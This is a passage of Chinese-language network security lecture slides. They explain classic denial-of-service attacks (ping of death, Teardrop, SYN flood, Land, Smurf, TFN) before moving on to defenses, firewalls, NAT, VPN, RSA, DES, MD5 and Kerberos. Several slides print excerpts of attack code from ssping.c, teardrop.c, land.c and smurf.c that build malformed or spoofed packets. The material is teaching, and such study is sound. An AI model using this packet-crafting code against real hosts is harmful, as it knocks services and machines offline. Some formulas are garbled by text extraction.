dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
87
ssping.c (C.2)
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = htons(offset >> 3);
if (offset < 65120)
ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
88
DoS攻擊型態 -- Teardrop
• 攻擊方式 :
– 利用IP封包重組的漏洞
– 送出一對經過特別設計封包片段,使得這一對封包片段
在目標電腦重新組合後,造成與原來資料不合的封包。
• 原理 :
– 網路層(Network layer)的IP(Internet Protocol)主要負責路由
與資料包分割 (fragmentation)及重組(re-assembly)。
正常片段重組
異常片段重組
89
Teardrop (Cont.)
– 改變第二片段位移資訊,使得第二片段的資料
與第一片段資料重疊,造成這些 datagrams
incomplete.
– 提供網路服務的主機因誤判封包的大小而使整
個程式當掉,甚至是系統當機。
• Windows NT
當 NT 收到這類的invalid datagrams時,會挖一塊
kernel memory,一旦有足夠的invalid datagrams攻擊,
便會使NT當掉。
• Example: teardrop.c
90
teardrop.c (1/5)
整個 IP 封包都在此程式完成
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv){
.
.
for (i = 0; i < count; i++) {
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
.
.
}
91
teardrop.c (2/5)
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte;
/* a byte */
struct sockaddr_in sin;
/* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port
= src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero( (u_char *)p_ptr, IPH + UDPH + PADDING);
92
teardrop.c (3/5)
byte = 0x45;
/* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;
/* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40;
/* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4;
/* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip;
/* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip;
/* IP destination address */
93
teardrop.c (4/5)
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt);
/* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt);
/* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
/* ====== sending first packet ========*/
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr*)&sin,
sizeof(struct sockaddr)) == -1) {
perror("\nsendto");
free(packet);
exit(1);
}
94
teardrop.c (5/5)
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2];
/* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4;
/* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1) {
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
95
Dos 攻擊型態 – SYN flood
• 原理 :
– 傳輸層(transport layer)的 TCP建立連線前有
所謂的 three way handshake :
SYN
A
SYN-ACK
B
ACK
• 攻擊方式 :
– 針對攻擊目標送出一連串具有假來源地址的
SYN封包
96
SYN flood (C.1)
– 受攻擊系統會將尚未接受到ACK回應的SYN封包暫
放在佇列裡,直到收到對方ACK回應或是超過逾時
時間才移除。
– 最後系統會因為收不到ACK回應,而使得佇列中充
滿了暫存的SYN封包而無法再處理其他使用者的要
求。
• Windows NT 3.5x/4.0
– 系統第一次收不到ACK封包時,會再次送出SYNACK封包五次並每次加倍等待ACK封包的時間。
– 第一次等待時間是3秒,隨後四次是6、12、24、48
秒,共浪費96秒後釋放佇列中SYN封包。
– 加上釋放之前為該SYN所配置之系統資源所需的時
97
間,共需189秒,使連線效率變差。
SYN flood (C.2)
• Ex : synk4.c
• http://www.google.com
98
DoS攻擊型態 – Land attack
• 原理 :
– 傳輸層在 three way handshake 過程中,每一
步都有一組 :
(來源位址,來源埠號,目的位址,目的埠號)
– 來源位址與目的位址可以相同
– 當來源位址與目的位址不同,來源埠號與目
的埠號相同也是可以
– 當來源位址與目的位址相同,同時來源埠號
與目的埠號也相同 ???
99
Land Attack (Cont.)
• 攻擊方式 :
– 送出一連串偽造的封包,使得目的位址與來
源位址都是受攻擊系統的位址,並且目的埠
號與來源埠號也相同。
• Ex : land.c
100
land.c
int main(int argc, char **argv)
{
.
.
.
tcpheader->th_sport=sin.sin_port;
/* <== the same port */
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
101
Land.c (Cont.)
bzero(&pseudoheader,12+sizeof(struct tcphdr));
/*======= the same address ======*/
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct
tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct
tcphdr));
.
.
}
102
Smurf
• 原理 :
– ICMP(Internet Control Message Protocol)封包可以載
送網路傳輸情況和錯誤訊息,以判定網路彼端的電
腦是否有回應。
– 判斷方式 :
• 對該主機位址傳送 ICMP echo request packet
• 若該主機收的到,會回送ICMP echo reply packet
• 通常這過程是由一個 “ping”命令來達到
– 因此,以程式來利用IP protocol傳送大量Ping
message封包給Internet上許多台機器,造成大量
Reply message 造成網路交通的癱瘓。
103
Smurf (Cont.)
• 攻擊方式:
– 大量利用假造的ICMP echo request 封包。
– 將假造的封包送至廣播位址,造成更多倍數量的
ICMP echo reply封包傳回至欲攻擊的目標。
• 在smurf attack 中,攻擊者從遠端的網路位址發
送ICMP echo request packet 至IP broadcast address
來產生 DoS attack,其中主要角色 :
– The attacker
– The intermediary
– The victim
• Ex: smurf.c
104
smurf.c
for (i = 0; i < num || !num; i++) {
if (!(i % 25)) {
printf("."); fflush(stdout);
}
smurf(sock, sin,
inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0)
cycle = 0;
usleep(delay);
}
105
smurf.c (Cont.)
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) {
struct ip *ip;
struct icmp *icmp;
char *packet; int hincl = 1;
packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
ip = (struct ip *) packet;
icmp = (struct icmp *) (packet + sizeof(struct ip));
memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
/* . . . */
ip->ip_src.s_addr = sin.sin_addr.s_addr;
ip->ip_dst.s_addr = dest;
icmp->icmp_type = 8;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
sendto(sock, packet,
sizeof(struct ip) + sizeof(struct icmp) + psize,
0, (struct sockaddr *) & sin, sizeof(struct sockaddr));
106
DDoS 攻擊型態 -- TFN
• TFN 為一功能強大的 smurf 攻擊工具。
• 為了達到 Distributed DoS攻擊方式,TFN
分為 client 程式和 daemon程式。
• 可發動的攻擊模式有 :
–
–
–
–
ICMP flood
SYN flood
UDP flood
Smurf attack
107
TFN (Cont.)
• 攻擊者控制TFN網路上一台或多台的
client
• 每一個client可對更多的 daemon下達攻擊
命令
– 其間的溝通是透過ICMP echo reply封包,
– 因為一些網路監控工具並不截取ICMP封包
內的資料,故當 client與daemon溝通時很難
被監控工具偵測到攻擊活動的進行。
108
DoS 防範之道
• 因為攻擊者利用DNS searching, www server
searching, host/port scanning入侵系統,並植入
hidden daemon (Trojan horse),繼續尋找並入侵,
植入daemon,建立整個入侵架構,所以可能的
防範方式如下 :
– 注意系統可能的漏洞,避免成為被攻擊者所利用的
client及daemon
– Router設流量統計分析
– DNS防護
– 建立server的ACL
– 建立 Firewall/security gateway
109
知己知彼---常見入侵方法
•
•
•
•
•
•
SUID attack
Password attack
Trusted-Access attack
Sequence Number Prediction Attack
Session Hijacking Attack
Trojan Horse Attack
110
影響網路安全的因素
•
•
•
•
•
使用者的疏失
軟體設計或網路協定的缺陷
網路軟體的設計問題
網路服務的錯誤設定
惡意攻擊
111
可能的 Backdoor
•
•
•
•
•
Setuid shell
/bin/login、/bin/inetd
/etc/inetd.conf、/etc/services
Crontab,netstat,tcpd,fingerd,sendmail,ftpd,...
Windows ?
– Config.sys, Autoexec.bat
– Win.ini, system.ini, registry …
112
網路安檢工具
•Spiders
–針對某些服務,對網路上的主機進行資料收集的工作
•Port Scanner
–nmap / strobe
–可以了解網路主機上有哪些服務
–nmap 可對子網路進行掃描,偵測子網路上有哪些主
機
•Security Scanner
–SATAN / SAINT – 弱點測試
–ISS – ISS Internet/Intranet Scanner
–NAI – CyberCop Sting (http://www.nai.com)
–Nessus project (http://www.tw.nessus.org)
113
網路安檢工具 (C.1)
•IDS
–NFR (http://www.nfr.net/)
–DTK (http://www.all.net/dtk/)
114
網路安檢工具 – Nessus
• Nessus project 的目的是提供一個
– Free
– Powerful
– Up-to-date
– Easy to use
的remote security scanner。
• 請參閱參考資料
115
網路安檢工具並非萬能
•通過網路安全檢查不代表系統絕對安全
•網路安全檢查工具做不到的事:
–防止竊聽
–防止 IP Spoofing
–防止偽造的 ICMP 封包
–防止系統內部的資料竄改
–防止工作人員的人為疏失或故意
116
如何增進網路系統安全
•善用網路安檢工具, 改善系統弱點
•加裝TCP Wrapper 以利監督(可配合swatch)
•注意信任關係的設定
–/etc/hosts.equiv, hosts.allow,
hosts.deny, 使用者的.rhost
•使用SNP tool (交大資工系謝續平教授研
發)
–ftp://ftp.csie.nctu.edu.tw/pub/CSIE/snp/
– 重要資料加密
117
如何增進網路系統安全(Cont.)
•注意Mail Server 和其他server之設定
•監督使用者設定好的密碼及好的使用習慣
•善用防火牆 (Firewall)
•Intrusion Detection System
118
如何增進網路系統安全 – 架設Firewall
Firewall :
定義:
只讓具備特殊身分的外在使用者才能連
上一個被保護的網站, 使用其軟體或硬體
A firewall system is used to control access
to or from a protected network ( a site ).
小問題: pcanywhere
119
Firewall的安全策略
• 管理者工作
– 對機構內的安全策略必須十分清楚
– 知道Firewall功能中監視, 複製, 控制的程度
– Firewall反應整體安全程度
• 不能允許不受限制的modem上線
• 機密資料就不該連到Internet
• 私人資料系統與公司網路的其它部分分開
– Firewall非萬能
120
Firewall管理問題
• 自己建立或買現成的
– 買現成的貴又怕 Trapdoor
– 自行設計要考慮支援和系統更新等後續維修
• 容量管理問題
– Bottleneck
• 內容管理和控制問題
– MIS部門, 行銷通訊部門或功能部門的工作
121
網路位址轉換 (NAT)
• NAT changes the ip addresses in a packet,
so that the address of the client inside never
shows up on the internet.
• Examples: Cisco PIX, Linux Masquerading,
Firewall One, ipfilter, FreeBSD NAT
122
Private IP/NAT Intranet
Internet
192.168.1.1 192.168.1.2
Server
Ethernet
192.168.1.2
Server
Ethernet
123
Virtual Private Networks
• VPN connects the components of one
network over another network by tunnel
through the public network(Internet)
with security and features formerly
available only in private networks
• VPN saves the cost of Dedicated
Line
• Brief: VPN is Secure Tunnel
124
Public-Key Cryptographic
Algorithms
公開金鑰密碼演算法
• RSA and Diffie-Hellman
• RSA - Ron Rives, Adi Shamir and Len Adleman at
MIT, in 1977.
– RSA is a block cipher
– The most widely implemented
• Diffie-Hellman in 1976
– Echange a secret key securely
– Compute discrete logarithms
125
The RSA Algorithm –
Key Generation
1.
2.
3.
4.
5.
6.
7.
Select p,q
p and q both prime
Calculate n = p x q
Calculate
(n)  ( p  1)( q  1)
gcd( (n), e)  1; 1  e  (n)
Select integer e
1
d  e mod (n)
Calculate d
Public Key
KU = {e,n}
Private key
KR = {d,n}
126
Example of RSA
Algorithm
1.
2.
3.
4.
5.
6.
7.
Select p,q
p =7, q =17
Calculate n = p x q =7 x 17 = 119
Calculate
= 96
(n)  ( p  1)( q  1)
gcd( (n), e)  1; 1  e  (n)
Select integer e=5
1
d  e mod (n)
Calculate d =77
Public Key
KU = {e,n} = {5, 119}
Private key
KR = {d,n} = {77, 119}
因為 77 x 5 = 385 = 4 x 96 + 1
127
Example of RSA Algorithm
(cont.)
128
Diffie-Hellman Key
Echange
 和 q 是雙方先約好或由
一方送給另一方(A送給B)
雙方算出的 K 會相等
129
Conventional Encryption
Algorithms
• Data Encryption Standard (DES)
– The most widely used encryption scheme
– The algorithm is reffered to the Data
Encryption Algorithm (DEA)
– DES is a block cipher
– The plaintext is processed in 64-bit
blocks
– The key is 56-bits in length
130
131
132
Authentication
• Requirements - must be able to verify that:
1. Message came from apparent source
or author,
2. Contents have not been altered,
3. Sometimes, it was sent at a certain
time or sequence.
• Protection against active attack
(falsification of data and transactions)
133
Approaches to Message
Authentication
• Authentication Using Conventional Encryption
– Only the sender and receiver should share a key
• Message Authentication without Message
Encryption
– An authentication tag is generated and appended to
each message
• Message Authentication Code
– Calculate the MAC as a function of the message and
the key. MAC = F(K, M)
134
135
One-way HASH function
136
One-way HASH function
• Secret value is added before the hash and
removed before transmission.
137
Digital Signature Standard (DSS )





Uses Secure Hash Algorithm (SHA)
Condenses message to 160 bits
Key size 512 - 1024 bits
Proposed by NIST in 1991
Adopted 1994/05/19
 FIPS PUB 186 -- Federal Information
Processing Standards Publication 186
138
Using the SHA with the DSA
From http://www.itl.nist.gov/fipspubs/fip186.htm
139
Message Digest 5 (MD5)
• No formal mathematical foundation
• Rely on producing random output
• Operate on 512 bits at a time
– Messages are padded with 0 where necessary
– Each stage transforms 128-bit MD + 512 bits of message
– MD5 does this 32-bits at a time
• Current digest value is 4 32-bit words (d0,d1,d2,d3)
• Message value is 16 32-bit words (m0,m1,…m15)
140
MD5 (cont-1)
• Basic transformation can be divided into four passes
• First pass
– New value of digest is produced from old value and the 16 message
words in 16 steps
– first 6 steps are
d 0  d 0  F d1 , d 2 , d 3   m0  T1 7
d 3  d 3  F d 0 , d1 , d 2   m1  T2 12
d 2  d 2  F d 3 , d 0 , d1   m2  T3 17
d1  d1  F d 2 , d 3 , d 0   m3  T4 22
d 0  d 0  F d1 , d 2 , d 3   m4  T5 7
d 3  d 3  F d 0 , d1 , d 2   m5  T6 12
141
KERBEROS
In Greek mythology, a many headed dog,
the guardian of the entrance of Hades
142
What is KERBEROS
• Network authentication protocol
– Developed at MIT Athena(雅典娜) project in 1983
• Provides a centralized authentication server to
authenticate users to servers and servers to users.
• Relies on conventional encryption, making no use of
public-key encryption
• Two versions: version 4 and 5
• Version 4 makes use of DES
143
Kerberos scenario
Ticket Granting Service
(TGS)
Kerberos
2
1
Client
1.
2.
3.
4.
5.
3
4
5
Server
Request ticket-granting-ticket (TGT)
<TGT>
Request server-ticket (ST)
<ST>
Request service
144